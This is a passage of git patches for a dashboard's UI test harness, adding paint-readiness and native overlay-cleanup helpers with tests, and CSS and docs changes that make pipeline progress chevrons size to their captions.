assert.equal(result.state.opacity, '1'); + assert.equal(browser.frames.size, 0); + assert.equal(browser.timers.size, 0); + assert.equal(browser.context.document.body.style, undefined, 'readiness never forces body styles'); +}); + +test('render readiness has a real deadline even when animation frames never arrive', async () => { + const helpers = await import(pathToFileURL(path.join(__dirname, '../../scripts/fixtures/dashboard-browser-readiness.mjs')).href); + for (const sample of [false, true]) { + const browser = simulatedBrowser(); + const ready = vm.runInNewContext('(' + helpers.waitForDashboardPaint.toString() + ')', browser.context); + const pending = ready({ dedicatedPreview: true }); + if (sample) browser.frame(); + browser.expire(); + await assert.rejects(pending, error => /render readiness timed out/.test(error.message) && + (!sample || /"opacity":"0"/.test(error.message))); + assert.equal(browser.frames.size, 0, 'timeout cancels a pending animation frame'); + assert.equal(browser.timers.size, 0); + assert.equal(browser.style.opacity, '0', 'timeout must not turn invisible content into a pass'); + } +}); + +test('native fixture reset closes every legacy modal and waits for the production scroll-lock observer', async () => { + const helpers = await import(pathToFileURL(path.join(__dirname, '../../scripts/fixtures/dashboard-browser-readiness.mjs')).href); + await assert.rejects(helpers.resetDashboardFixtureOverlays(), /dedicated preview/); + const browser = simulatedBrowser(); + browser.overlays.push({ id: 'terminal-export', open: true }, { id: 'kb-modal-overlay', open: true }, { id: 'config-overlay', open: true }); + browser.lock(true); + const reset = vm.runInNewContext('(' + helpers.resetDashboardFixtureOverlays.toString() + ')', browser.context); + const pending = reset({ dedicatedPreview: true }); + assert.ok(browser.overlays.every(overlay => !overlay.open), 'all three legacy producers use native dismissal'); + browser.lock(false); + browser.frame(); + const result = await pending; + assert.equal(result.dismissals, 3); + assert.equal(result.remaining.length, 0); + assert.equal(result.scrollLocked, false); + assert.equal(browser.timers.size, 0); + const source = helpers.resetDashboardFixtureOverlays.toString(); + assert.doesNotMatch(source, /\.remove\(|classList\.(?:add|remove)|style\.\w+\s*=/, 'no raw modal deletion, hiding, or manual scroll-lock override'); +}); + +test('native cleanup rejects undispatched overlays, stuck dismissal loops, scroll locks and stalled observer frames', async () => { + const helpers = await import(pathToFileURL(path.join(__dirname, '../../scripts/fixtures/dashboard-browser-readiness.mjs')).href); + for (const failure of ['overlay', 'bound', 'lock', 'frame']) { + const browser = simulatedBrowser(); + let calls = 0; + browser.context.hiveDismissTopOverlay = () => { calls++; return failure === 'bound'; }; + if (failure === 'overlay') browser.overlays.push({ id: 'kb-modal-overlay', open: true }); + if (failure === 'lock') browser.lock(true); + const reset = vm.runInNewContext('(' + helpers.resetDashboardFixtureOverlays.toString() + ')', browser.context); + const pending = reset({ dedicatedPreview: true, maxDismissals: 3 }); + if (failure === 'frame') browser.expire(); else browser.frame(); + await assert.rejects(pending, error => { + const expected = { overlay: 'kb-modal-overlay', bound: 'dismissal bound', lock: '"scrollLocked":true', frame: 'observer did not settle' }; + return error.message.includes(expected[failure]); + }); + assert.ok(calls <= 3, 'native cleanup is bounded'); + assert.equal(browser.frames.size, 0); + assert.equal(browser.timers.size, 0); + } +}); + test('browser probes require a dedicated preview and cannot count offscreen header controls as success', async () => { for (const name of ['tracker-header-geometry.js', 'tracker-decision-interaction.js']) { const source = fs.readFileSync(path.join(__dirname, 'webstatic/testdata', name), 'utf8'); diff --git a/src/scripts/dashboard-mobile-shots.mjs b/src/scripts/dashboard-mobile-shots.mjs index 2e35d1cfd5..635a342f1e 100644 --- a/src/scripts/dashboard-mobile-shots.mjs +++ b/src/scripts/dashboard-mobile-shots.mjs @@ -31,6 +31,7 @@ import path from 'node:path'; import { createHash } from 'node:crypto'; import { preparationRailLayoutFixture } from './fixtures/dashboard-preparation-rail.mjs'; import { activityDensityFixture } from './fixtures/dashboard-activity-density.mjs'; +import { waitForDashboardPaint, resetDashboardFixtureOverlays } from './fixtures/dashboard-browser-readiness.mjs'; const CHROME_CANDIDATES = [ process.env.CHROME_BIN, @@ -300,7 +301,9 @@ async function main() { if (result.result.exceptionDetails) throw new Error(result.result.exceptionDetails.exception?.description || 'evaluate failed'); return result.result.result.value; }; + const renderReady = () => evaluate('(' + waitForDashboardPaint.toString() + ')({ dedicatedPreview: true })'); const screenshot = async (file, viewportOnly = false) => { + const readiness = await renderReady(); const viewport = viewportOnly ? await evaluate(`({ x: scrollX, y: scrollY, width: innerWidth, height: innerHeight, clientWidth: document.documentElement.clientWidth, @@ -329,7 +332,7 @@ async function main() { } return { painted, width: canvas.width, height: canvas.height, inspectedWidth: width, inspectedHeight: height }; })()`); - return { file, viewport, clip, ...pixels, + return { file, readiness, viewport, clip, ...pixels, failures: pixels.painted ? [] : ['Viewport capture contains only a uniform background; DOM assertions are not visual proof'] }; }; const nativeDecisionInput = async prefix => { @@ -414,19 +417,10 @@ async function main() { // Each state callback is best-effort: a missing helper yields a skipped shot, not a harness error. const setThemeJS = (theme) => `document.body.classList.toggle('light-mode', ${theme === 'light'}); document.documentElement.style.colorScheme = '${theme}'; true`; - const resetJS = `(() => { + const resetJS = `(async () => { window.__activityDensityCleanup?.(); document.getElementById('preparation-rail-layout-fixture')?.remove(); - // The preceding terminal state owns a native dialog and capture listener. - // Close it through its API, not by hiding/removing its DOM. - document.querySelectorAll('.hive-dialog-overlay').forEach((el) => { - if (typeof el.hiveDialogClose !== 'function') throw new Error('Cannot clean up prior fixture dialog'); - el.hiveDialogClose(); - }); - if (document.querySelector('.hive-dialog-overlay')) throw new Error('Prior fixture dialog survived native cleanup'); - document.querySelectorAll('.config-overlay, .modal-overlay').forEach((el) => { el.classList.add('hidden'); }); - document.documentElement.classList.remove('modal-open'); document.body.classList.remove('modal-open'); - return true; + return await (${resetDashboardFixtureOverlays.toString()})({ dedicatedPreview: true }); })()`; const collapseAllJS = `(() => { const ids = Array.from(document.querySelectorAll('[data-dashboard-section]')).map((el) => el.id).filter(Boolean); @@ -471,6 +465,8 @@ async function main() { link.href = url; })))`); await evaluate(setThemeJS(theme)); + const pageReadiness = await renderReady(); + let fixtureCleanup; const sectionIDs = await evaluate(collapseAllJS); const states = [{ name: 'collapsed', run: async () => true }]; @@ -515,14 +511,14 @@ async function main() { const nativeOK = native.failures.length === 0; results.push({ probe: 'native-CDP-pointer-keyboard', ok: nativeOK, result: native }); if (!nativeOK) activityFailures.push(vp.name + ' ' + theme + ' native input'); - const result = { viewport: vp.name, theme, provenance, fixture, results }; + const result = { viewport: vp.name, theme, provenance, pageReadiness, fixtureCleanup, fixture, results }; activityReport.push(result); fs.writeFileSync(path.join(opts.out, `${vp.name}-${theme}-activity-probes.json`), JSON.stringify(result, null, 2) + '\n'); return true; } }); for (const state of states) { - await evaluate(resetJS); + fixtureCleanup = await evaluate(resetJS); let ok; try { ok = await state.run(); } catch (error) { diff --git a/src/scripts/fixtures/dashboard-browser-readiness.mjs b/src/scripts/fixtures/dashboard-browser-readiness.mjs new file mode 100644 index 0000000000..b731382721 --- /dev/null +++ b/src/scripts/fixtures/dashboard-browser-readiness.mjs @@ -0,0 +1,72 @@ +// Serialized into the existing harness's isolated file:// Chrome page only. +export function waitForDashboardPaint({ dedicatedPreview = false, timeoutMs = 10000, stableFrames = 2 } = {}) { + if (!dedicatedPreview) throw new Error('Render readiness requires a dedicated preview page'); + return new Promise((resolve, reject) => { + const started = performance.now(); + let frame, last = null, previous = '', stable = 0; + const finish = (error, value) => { + clearTimeout(timer); + cancelAnimationFrame(frame); + if (error) reject(error); else resolve(value); + }; + const timer = setTimeout(() => finish(new Error(JSON.stringify({ + failures: ['Dashboard render readiness timed out'], timeoutMs, last, + }))), timeoutMs); + const sample = () => { + const body = document.body, root = document.documentElement; + const bodyStyle = body && getComputedStyle(body), rootStyle = root && getComputedStyle(root); + const box = body?.getBoundingClientRect(); + last = { readyState: document.readyState, visibilityState: document.visibilityState, + opacity: bodyStyle?.opacity, visibility: bodyStyle?.visibility, display: bodyStyle?.display, + rootOpacity: rootStyle?.opacity, rootVisibility: rootStyle?.visibility, rootDisplay: rootStyle?.display, + width: box?.width, height: box?.height }; + const ready = document.readyState !== 'loading' && document.visibilityState === 'visible' && + last.opacity === '1' && last.visibility === 'visible' && last.display !== 'none' && + last.rootOpacity === '1' && last.rootVisibility === 'visible' && last.rootDisplay !== 'none' && + last.width > 0 && last.height > 0; + const signature = JSON.stringify(last); + stable = ready ? (signature === previous ? stable + 1 : 1) : 0; + previous = signature; + if (stable >= stableFrames) { + finish(null, { ready: true, elapsedMs: performance.now() - started, stableFrames: stable, state: last }); + } else { + frame = requestAnimationFrame(sample); + } + }; + frame = requestAnimationFrame(sample); + }); +} + +export async function resetDashboardFixtureOverlays({ dedicatedPreview = false, maxDismissals = 32, settleTimeoutMs = 1000 } = {}) { + if (!dedicatedPreview) throw new Error('Fixture cleanup requires a dedicated preview page'); + if (typeof hiveDismissTopOverlay !== 'function' || typeof hiveOverlayIsOpen !== 'function') { + throw new Error('Native dashboard overlay cleanup is unavailable'); + } + // These are the three modal producers in the legacy screenshot sequence. + const ownedSelector = '#config-overlay, #kb-modal-overlay, .hive-dialog-overlay'; + const remaining = () => [...document.querySelectorAll(ownedSelector)] + .filter(overlay => hiveOverlayIsOpen(overlay)) + .map(overlay => overlay.id || overlay.className); + let dismissals = 0; + for (; dismissals < maxDismissals; dismissals++) { + if (!hiveDismissTopOverlay()) break; + } + if (dismissals === maxDismissals) { + throw new Error(JSON.stringify({ failures: ['Native overlay cleanup exceeded its dismissal bound'], + maxDismissals, remaining: remaining() })); + } + // Let the production modal observer release its root/body scroll lock. + await new Promise((resolve, reject) => { + const frame = requestAnimationFrame(() => { clearTimeout(timer); resolve(); }); + const timer = setTimeout(() => { + cancelAnimationFrame(frame); + reject(new Error('Native fixture cleanup observer did not settle before timeout')); + }, settleTimeoutMs); + }); + const state = { dismissals, remaining: remaining(), + scrollLocked: document.documentElement.classList.contains('modal-open') || document.body.classList.contains('modal-open') }; + if (state.remaining.length || state.scrollLocked) { + throw new Error(JSON.stringify({ failures: ['Prior fixture overlay or modal-open scroll lock survived native cleanup'], ...state })); + } + return state; +} From 6a6d1d35830da7e0acd7ae3e73ebc744e0fb4b18 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 15:42:32 -0500 Subject: [PATCH 14/87] =?UTF-8?q?=F0=9F=90=9B=20Size=20activity=20chevrons?= =?UTF-8?q?=20to=20their=20captions=20and=20render=20CI/Review=20lanes=20a?= =?UTF-8?q?s=20chevrons=20(#16464)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Restore content-driven chevron height (one line of caption -> one-line chevron, two lines -> two, never more) and centred captions, which #16454 replaced with a fixed two-line grid row and a flush-left stretched copy box. Drop the boxed-card opt-out that #16384 gave the concurrent CI / Review lanes so they share the stage chevron clip-path, padding and height, with lane state expressed through fill and text colour. Geometry probe and CSS-contract tests now fail on the previous behaviour; density fixture gains a one-line held row. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- .github/scripts/integration-governance.cjs | 2 +- changelog.d/fixed-activity-chevron-height.md | 1 + src/docs/dashboard-source-layout.md | 22 +++++-- .../dashboard/stage_tracker_activity.test.js | 9 ++- .../stage_tracker_header_spans.test.js | 15 +++++ src/pkg/dashboard/static-src/css/tracker.css | 37 ++++++++--- src/pkg/dashboard/static/index.html | 37 ++++++++--- .../testdata/tracker-header-geometry.js | 63 ++++++++++++++++++- .../fixtures/dashboard-activity-density.mjs | 8 ++- 9 files changed, 164 insertions(+), 30 deletions(-) create mode 100644 changelog.d/fixed-activity-chevron-height.md diff --git a/.github/scripts/integration-governance.cjs b/.github/scripts/integration-governance.cjs index b82a4b1381..7344f0a980 100644 --- a/.github/scripts/integration-governance.cjs +++ b/.github/scripts/integration-governance.cjs @@ -9,7 +9,7 @@ const MAX_COMMITS = 1000; const MAX_AUTHOR_BATCH = 50; // This literal is inside the enrolled .github closure. A caller-supplied // preparedBy.sourceSHA must never choose a new executable verifier tree. -const TRUSTED_SCRIPTS_TREE = 'aa20dad41934337be58b07e3812d78e9c41310e2'; +const TRUSTED_SCRIPTS_TREE = '68aa6a3ea98f2ab257c8d492b39b8a661092786d'; const SOURCE = 'https://github.com/kubernetes-sigs/kubebuilder-release-tools/tree/012269a88fa4c034a0acf1ba84c26b195c0dbab4'; const sha = value => crypto.createHash('sha256').update(value).digest('hex'); const git = (args, cwd = process.cwd()) => diff --git a/changelog.d/fixed-activity-chevron-height.md b/changelog.d/fixed-activity-chevron-height.md new file mode 100644 index 0000000000..f1c4ac7b35 --- /dev/null +++ b/changelog.d/fixed-activity-chevron-height.md @@ -0,0 +1 @@ +- Activity monitor: stage chevrons are again only as tall as their caption (one line of text β†’ a one-line chevron, two lines β†’ two, never more) with the caption centred instead of flush-left in a fixed two-line box, and the CI / Review lanes are notched chevrons like the other stages (state shown by fill and text colour) rather than bordered boxes. diff --git a/src/docs/dashboard-source-layout.md b/src/docs/dashboard-source-layout.md index 98c36cb959..e75eca06f9 100644 --- a/src/docs/dashboard-source-layout.md +++ b/src/docs/dashboard-source-layout.md @@ -120,16 +120,28 @@ inputs, not a claimed live backend snapshot. Use these structures plus long unbroken-handle stress data for preview coverage; a fixture passing is not proof that the published application renders correctly. -The split CI/Review cards also distinguish position from activity: a steady -outline and accessible current-phase label identify the occupied phase, even when -evidence is unknown, work is queued or a PR is held. The running-work class and +The split CI/Review lanes are chevrons like every other stage β€” the same notch +polygon, padding and content-driven height as their neighbours, never a bordered +card (the boxed opt-out of #16384 is gone). They express lane state the way the +other chevrons do, through fill, tint and text colour: `done` (passed/approved), +dimmed `todo`, the lit `active` fill for fresh observed work, a muted amber tint +for `ham-current` occupancy, and an amber-on-tint treatment for failing CI or +changes requested. They also distinguish position from activity: a steady +current-phase tint and accessible current-phase label identify the occupied +phase, even when evidence is unknown, work is queued or a PR is held. The running-work class and motion still require fresh current-head activity evidence; completion remains evidence-based. Both parallel tracks can occupy the current phase without claiming either is running. Native stages, holds and merge authority do not change. -All progress chevrons share a fixed two-line text budget, wrapping even unbroken -handles. Icons have reserved space clear of the chevron points. Full details +All progress chevrons share a two-line text budget, wrapping even unbroken +handles, but a row is only as tall as its longest caption: one line of text gives +a one-line-tall chevron, two lines a two-line-tall one, never more (the grid row +sizes to content above a one-line floor; sibling cells stretch to the row's +tallest chevron, not to a fixed box). The caption, with its reserved icons, is +centred in the chevron both horizontally and vertically, as before the two-line +budget; a wrapped second line is centred under the first. Icons have reserved +space clear of the chevron points. Full details remain in the native title and/or shared hover/focus tooltip portal; links and decision controls remain interactive. Decision chevrons, including native merge-gate claim conflicts, instead use their existing decision dialog as the diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 5e0f1cd250..d06a2f773f 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -545,8 +545,15 @@ test('genuine current-head source work still lights PR in progress; fix assignme test('current-phase styling is steady and undimmed, including compact/reduced-motion layouts', () => { const css = fs.readFileSync(path.join(__dirname, 'static-src/css/tracker.css'), 'utf8'); - assert.match(css, /\.ham-activity-track\.ham-current \{[^}]*opacity: 1;[^}]*box-shadow:/); + assert.match(css, /\.ham-activity-track\.ham-current \{[^}]*opacity: 1;[^}]*box-shadow: none/); assert.match(css, /\.ham-activity-track\.ham-current:not\(\.active\) \{ background: color-mix/); + // Lanes are chevrons like every other stage (#16384's boxed card is + // gone): no clip-path opt-out, no border/ring; state is fill and colour. + assert.doesNotMatch(css, /\.ham-activity-track \{/, 'no activity-track rule overrides the .ham-seg chevron shape'); + for (const block of css.match(/\.ham-(?:seg\.)?ham-activity-track[^{]*\{[^}]*\}/g)) { + assert.doesNotMatch(block, /clip-path|border(?!-radius)|box-shadow: inset/, block); + } + assert.match(css, /\.ham-seg\.ham-activity-track\[data-activity-state="failing"\], \.ham-seg\.ham-activity-track\[data-activity-state="changes_requested"\] \{ background: color-mix\(in srgb, var\(--amber\) \d+%, var\(--panel\)\); color: var\(--amber\);/); const current = css.match(/\.ham-activity-track\.ham-current \{([^}]*)\}/)[1]; assert.doesNotMatch(current, /animation|data-motion/); assert.ok(css.indexOf('.ham-activity-track.ham-current {') > css.indexOf('.ham-seg.todo {'), 'current occupancy overrides generic upcoming-track dimming'); diff --git a/src/pkg/dashboard/stage_tracker_header_spans.test.js b/src/pkg/dashboard/stage_tracker_header_spans.test.js index db59fbfb69..f2c3fc1c3b 100644 --- a/src/pkg/dashboard/stage_tracker_header_spans.test.js +++ b/src/pkg/dashboard/stage_tracker_header_spans.test.js @@ -145,6 +145,21 @@ test('spans share the physical lane grid, including independent concurrent CI/Re assert.match(ctx.stageTrackerHeadColsHtml(['PR']), /data-ham-pr-start="5"/, 'boundary derives from canonical stages, not a second hard-coded span'); }); +test('chevron height is content-driven (one-line floor, two-line clamp) and the caption stays centred', () => { + const strip = rule('.ham-strip[aria-label="Pipeline progress"]'); + const seg = rule('.ham-strip[aria-label="Pipeline progress"] > .ham-seg'); + const copy = rule('.ham-chevron-copy'); + assert.match(strip, /grid-auto-rows: minmax\(calc\(var\(--ham-chevron-line-height\) \* 1em \+ 2 \* var\(--sp-2\) \+ 2 \* var\(--line-width\)\), auto\)/, + 'rows size to their tallest caption above a one-line floor'); + assert.doesNotMatch(strip, /grid-auto-rows: calc\(var\(--ham-chevron-text-lines\)/, 'no fixed two-line row height around one line of text'); + assert.match(seg, /align-self: stretch/); + assert.doesNotMatch(seg, /height: 100%/, 'siblings follow the row, the row follows its content'); + assert.match(copy, /max-height: calc\(var\(--ham-chevron-text-lines\) \* var\(--ham-chevron-line-height\) \* 1em\)/, 'the two-line clamp stays'); + assert.match(copy, /flex: 0 1 auto/, 'the copy shrink-wraps its text so justify-content: center centres it'); + assert.match(copy, /text-align: center/, 'a wrapped second line is centred under the first'); + assert.match(rule('.ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision'), /align-items: center; justify-content: center/); +}); + test('long metadata wraps in bounded slots and the narrow layout resets both grid axes', () => { assert.match(rule('.ham-head-cols .ham-seg.ham-head-pr'), /flex-wrap: wrap/); assert.match(rule('.ham-head-cols .ham-seg.cap .ham-badges'), /flex-wrap: wrap/); diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 744c16e076..156832a78b 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -318,9 +318,12 @@ .ham-badge-reroute.ham-reroute-online .ham-presence-dot { background: var(--status-ok); } .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 2; --ham-chevron-line-height: 1.3; } .ham-seg { position: relative; flex: 1 1 0; min-width: 0; display: flex; align-items: center; justify-content: center; padding: 0 var(--sp-4) 0 var(--sp-5); font-size: var(--fs-xs); font-weight: var(--fw-medium); white-space: nowrap; overflow: hidden; clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%, var(--ham-notch) 50%); } - .ham-activity-track { clip-path: none; border: var(--line-width) solid var(--line-subtle); border-radius: var(--r-sm); white-space: normal; } + /* The concurrent CI / Review lanes are chevrons like every other stage + (same clip-path, padding and height β€” the boxed card opt-out of + #16384 is gone); their lane state reads through fill, tint and text + colour exactly as done / todo / active do, never a border or ring, + which the notched polygon would clip anyway. */ .ham-track-state a { color: inherit; } - .ham-activity-track[data-activity-state="failing"], .ham-activity-track[data-activity-state="changes_requested"] { border-color: var(--amber); color: var(--amber); } .ham-seg:first-child { clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%); } .ham-seg.cap { flex: 0 0 4em; } .ham-seg.active.merged { background: var(--green); color: var(--surface-0); animation: none; } @@ -346,9 +349,15 @@ movement effects' (flash / ripple / wash). */ .ham-seg.active { background: var(--amber); color: var(--surface-0); } /* Position is independent of observed work: queued, held and unknown - tracks retain a steady current-phase outline, never a work pulse. */ - .ham-activity-track.ham-current { border-color: var(--amber); opacity: 1; box-shadow: inset 0 0 0 var(--line-width) var(--amber); } - .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 12%, var(--panel)); } + tracks keep a steady current-phase tint (a muted amber fill, full + opacity, no dimming ring), never a work pulse; only fresh observed + work earns the lit .active fill. */ + .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } + .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 28%, var(--panel)); color: var(--text); } + /* Findings (red CI, changes requested) are an amber-tinted chevron with + amber words β€” full opacity, still not the hive's own work; the finding + outranks the current-phase tint when both apply. */ + .ham-seg.ham-activity-track[data-activity-state="failing"], .ham-seg.ham-activity-track[data-activity-state="changes_requested"] { background: color-mix(in srgb, var(--amber) 18%, var(--panel)); color: var(--amber); box-shadow: none; opacity: 1; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } @@ -379,14 +388,22 @@ .ham-gate-ico { display: inline-flex; align-items: center; margin-right: var(--sp-1); cursor: help; } .ham-gate-ico .ham-ico { width: 12px; height: 12px; } .ham-gate-detail { font-weight: normal; opacity: 0.85; font-variant-numeric: tabular-nums; } - /* All physical chevrons share a two-line budget. The portal tooltip is - outside the clipped polygon; keyboard focus exposes the same full text. */ - .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)); } - .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; height: 100%; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } + /* All physical chevrons share a two-line text budget, but a row is only + as tall as its longest caption: one line of text β†’ a one-line chevron, + two lines β†’ two (the clamp below caps it there). The grid row sizes + to content with a one-line floor so icon-only cells and siblings + stretch to the row's tallest chevron, never to a fixed box. The + portal tooltip is outside the clipped polygon; keyboard focus + exposes the same full text. */ + .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)), auto); } + .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } .ham-chevron-info.config-info:hover { background: transparent; border: 0; color: inherit; } .ham-chevron-info:focus-visible, .ham-chevron-decision:focus-within { outline: var(--line-width) solid currentColor; outline-offset: var(--sp-1); } - .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 1 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + /* The copy shrink-wraps its text (flex 0 1 auto) so the words, with + their icons, sit centred in the chevron as before; a wrapped second + line is centred under the first rather than ragged-left. */ + .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 0 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; text-align: center; } .ham-chevron-copy :is(.ham-seg-t, .ham-detour, .ham-holder, .ham-gate-detail) { display: inline; white-space: normal; overflow-wrap: anywhere; } .ham-chevron-copy > .ham-decision-trigger { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } .config-tooltip.ham-chevron-tip { overflow-wrap: anywhere; max-width: calc(100vw - var(--sp-8)); max-height: calc(100vh - var(--sp-8)); overflow-y: auto; pointer-events: auto; } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 4d21b27133..fe8727cac5 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1655,9 +1655,12 @@ .ham-badge-reroute.ham-reroute-online .ham-presence-dot { background: var(--status-ok); } .ham-strip { list-style: none; margin: 0; padding: 0; display: grid; grid-template-columns: repeat(var(--ham-visible-columns), minmax(0, 1fr)) 4em; gap: var(--sp-1); min-height: 18px; flex: 1 1 auto; min-width: 0; font-size: var(--fs-xs); --ham-notch: 8px; --ham-visible-columns: 7; --ham-chevron-text-lines: 2; --ham-chevron-line-height: 1.3; } .ham-seg { position: relative; flex: 1 1 0; min-width: 0; display: flex; align-items: center; justify-content: center; padding: 0 var(--sp-4) 0 var(--sp-5); font-size: var(--fs-xs); font-weight: var(--fw-medium); white-space: nowrap; overflow: hidden; clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%, var(--ham-notch) 50%); } - .ham-activity-track { clip-path: none; border: var(--line-width) solid var(--line-subtle); border-radius: var(--r-sm); white-space: normal; } + /* The concurrent CI / Review lanes are chevrons like every other stage + (same clip-path, padding and height β€” the boxed card opt-out of + #16384 is gone); their lane state reads through fill, tint and text + colour exactly as done / todo / active do, never a border or ring, + which the notched polygon would clip anyway. */ .ham-track-state a { color: inherit; } - .ham-activity-track[data-activity-state="failing"], .ham-activity-track[data-activity-state="changes_requested"] { border-color: var(--amber); color: var(--amber); } .ham-seg:first-child { clip-path: polygon(0 0, calc(100% - var(--ham-notch)) 0, 100% 50%, calc(100% - var(--ham-notch)) 100%, 0 100%); } .ham-seg.cap { flex: 0 0 4em; } .ham-seg.active.merged { background: var(--green); color: var(--surface-0); animation: none; } @@ -1683,9 +1686,15 @@ movement effects' (flash / ripple / wash). */ .ham-seg.active { background: var(--amber); color: var(--surface-0); } /* Position is independent of observed work: queued, held and unknown - tracks retain a steady current-phase outline, never a work pulse. */ - .ham-activity-track.ham-current { border-color: var(--amber); opacity: 1; box-shadow: inset 0 0 0 var(--line-width) var(--amber); } - .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 12%, var(--panel)); } + tracks keep a steady current-phase tint (a muted amber fill, full + opacity, no dimming ring), never a work pulse; only fresh observed + work earns the lit .active fill. */ + .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } + .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 28%, var(--panel)); color: var(--text); } + /* Findings (red CI, changes requested) are an amber-tinted chevron with + amber words β€” full opacity, still not the hive's own work; the finding + outranks the current-phase tint when both apply. */ + .ham-seg.ham-activity-track[data-activity-state="failing"], .ham-seg.ham-activity-track[data-activity-state="changes_requested"] { background: color-mix(in srgb, var(--amber) 18%, var(--panel)); color: var(--amber); box-shadow: none; opacity: 1; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } @@ -1716,14 +1725,22 @@ .ham-gate-ico { display: inline-flex; align-items: center; margin-right: var(--sp-1); cursor: help; } .ham-gate-ico .ham-ico { width: 12px; height: 12px; } .ham-gate-detail { font-weight: normal; opacity: 0.85; font-variant-numeric: tabular-nums; } - /* All physical chevrons share a two-line budget. The portal tooltip is - outside the clipped polygon; keyboard focus exposes the same full text. */ - .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)); } - .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; height: 100%; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } + /* All physical chevrons share a two-line text budget, but a row is only + as tall as its longest caption: one line of text β†’ a one-line chevron, + two lines β†’ two (the clamp below caps it there). The grid row sizes + to content with a one-line floor so icon-only cells and siblings + stretch to the row's tallest chevron, never to a fixed box. The + portal tooltip is outside the clipped polygon; keyboard focus + exposes the same full text. */ + .ham-strip[aria-label="Pipeline progress"] { grid-auto-rows: minmax(calc(var(--ham-chevron-line-height) * 1em + 2 * var(--sp-2) + 2 * var(--line-width)), auto); } + .ham-strip[aria-label="Pipeline progress"] > .ham-seg { box-sizing: border-box; align-self: stretch; line-height: var(--ham-chevron-line-height); padding: var(--sp-2) calc(var(--ham-notch) + var(--sp-2)); } .ham-chevron-info.config-info, .ham-chevron-info.ham-chevron-decision { display: flex; align-items: center; justify-content: center; gap: var(--sp-1); width: 100%; height: 100%; min-width: 0; flex-shrink: 1; margin: 0; padding: 0; border: 0; background: transparent; color: inherit; font: inherit; line-height: inherit; position: static; } .ham-chevron-info.config-info:hover { background: 